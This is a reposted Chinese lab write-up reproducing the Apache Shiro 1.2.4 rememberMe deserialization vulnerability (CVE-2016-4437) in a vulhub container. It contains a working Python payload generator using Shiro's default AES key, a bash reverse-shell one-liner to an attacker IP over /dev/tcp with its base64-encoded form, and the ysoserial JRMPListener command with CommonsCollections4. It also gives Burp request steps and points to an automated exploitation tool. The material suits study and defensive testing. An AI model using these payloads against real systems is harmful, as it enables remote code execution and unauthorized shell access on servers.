CVE-2016-4437 Apache Shiro 1.2.4反序列化漏洞


0X00-引言


服从让我们撑过白天,而投入才能让我们撑过夜晚。------丹尼尔·平克《驱动力 3.0》

0X01-环境搭建


靶机:CentOS Linux 7

攻击机:windows server 2016 && Kail

环境:vulhub

工具:ysoserial,burpsuite,LiqunKit

项目地址:https://github.com/vulhub/vulhub

搭建vulhub请访问:空白centos7 64 搭建vulhub(详细)

fofa语法:

header="rememberme=deleteMe"、header="shiroCookie"

0X02-漏洞描述


Apache Shiro是一款开源安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。

Apache Shiro 1.2.4及以前版本中,加密的用户信息序列化后存储在名为remember-me的Cookie中。攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。

shiro默认使用CookieRememberMeManager,对rememberMe的cookie做了加密处理,在CookieRememberMeManaer类中将cookie中rememberMe字段内容先后进行序列化、AES加密、Base64编码操作。在识别身份的时候,需要对Cookie里的rememberMe字段解密。根据加密的顺序可以推断出解密的顺序为获取cookie-base64解码-AES解密-反序列化。

AES加密的KEY值被硬编码在代码中,可以从源码中找到KEY值。攻击者可以构造恶意代码,将其序列化-AES加密-base64编码,最后作为cookie值得rememberMe字段发送,shiro将接收到的rememberMe字段进行解码-解密-反序列化,如果成功,则执行恶意代码,构成攻击。

影响版本:Apache Shiro <= 1.2.4

0X03-工具下载


01-安装mvn命令
wget http://mirrors.cnnic.cn/apache/maven/maven-3/3.5.4/binaries/apache-maven-3.5.4-bin.tar.gz  #下载maven安装包
tar -zxvf apache-maven-3.5.4-bin.tar.gz  #解压maven安装包
mv apache-maven-3.5.4 /usr/local/  #移动到usr下local目录

配置环境变量,在底部添加如下配置

vim /etc/profile

export MAVEN_HOME=/usr/local/apache-maven-3.5.4
export PATH=${PATH}:$MAVEN_HOME/bin

重新加载环境变量

source /etc/profile

可能会生成一个新终端,如图,

image-20211208223936493

检查是否安装成功

mvn  -v

终端不要关闭,先保持不动

image-20211208224117588

02-安装ysoserial工具

另起一个新终端

mkdir Apacheshiro  #创建新目录
git clone https://github.com/frohoff/ysoserial.git  #下载ysoserial

image-20211208224909757

在上一个终端里进入ysoserial文件夹

执行以下命令-等待结束

mvn package -D skipTests

生成工具

image-20211208225044977

03-准备shiro.py

将shiro.py与生成的工具放在同一目录下

shiro.py源码:

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES	#pip install pycryptodome
 
def encode_rememberme(command):
	popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'JRMPClient', command], stdout = subprocess.PIPE)
	BS = AES.block_size
	pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
	key = base64.b64decode('kPH+bIxk5D2deZiIxcaaaA==')
	iv = uuid.uuid4().bytes
	encryptor = AES.new(key, AES.MODE_CBC, iv)
	file_body = pad(popen.stdout.read())
	base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
	return base64_ciphertext
 
if __name__ == '__main__':
	payload = encode_rememberme(sys.argv[1])
	print("rememberMe={0}".format(payload.decode()))

0X04-漏洞复现

http://192.168.234.128:8080/doLogin

image-20211209105146375

01-查看是否存在shiro反序列化漏洞

burp抓包-repeater发包-看回显-响应头存在rememberMe字段-存在shiro反序列化漏洞

image-20211209105619179

02-准备好反弹shell的命令

反弹shell命令:bash -i >& /dev/tcp/192.168.234.135/12345 0>&1

加密网址:https://www.jackson-t.ca/runtime-exec-payloads.html

加密之后:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzNC4xMzUvMTIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i}

image-20211209110024754

03-kali执行命令

在生成工具与shiro.py所在的目录下执行

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1234 CommonsCollections4 ‘bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzNC4xMzUvMTIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i}’

image-20211209110431859

注意反弹shell命令的单引号。需要在kali中重新输入单引号

执行脚本

python shiro.py 192.168.234.135:1234#192.168.234.135为攻击机IP#1234为ysoserial-0.0.6-SNAPSHOT-all.jar工具监听的端口,与反弹shell的命令端口不同,我的工具监听与nc反弹shell在同一台kali机器

生成poyload

image-20211209110835217

04-反弹shell

kali另起已终端,打开nc监听

image-20211209110949708

burp抓包-repeater修改

image-20211209111216079

发送

image-20211209111308693

ysoserial工具监听到信息-已上传至服务器

image-20211209111420549

但是nc没有反弹shell-不知道原因

image-20211209111456487

05-直接进入容器执行反弹shell命令

容器内执行发现可以回弹shell正常。对比之下我也找不到上面反弹shell失败的原因😯

image-20211209160036228

image-20211209160100918

0X05-工具利用


工具地址:https://github.com/Liqunkit/LiqunKit_

01-反弹shell

image-20211209154638476

image-20211209154821080

成功

image-20211209154855091

还是工具好用,手动复现半天,工具一分钟反弹shell,淦😂

0X06-参考


Apache Shiro反序列化漏洞复现并利用(CVE-2016-4437)

Apache Shiro 反序列化(CVE-2016-4437)复现

linux 安装 maven 、解决:bash: mvn: command not found

Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)复现

(CVE-2016-4437) Apache Shiro 反序列化漏洞 复现

shiro反序列化复现(续) ---利用docker-vulhub搭建复现(为了打出shell,针对linux系统)


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM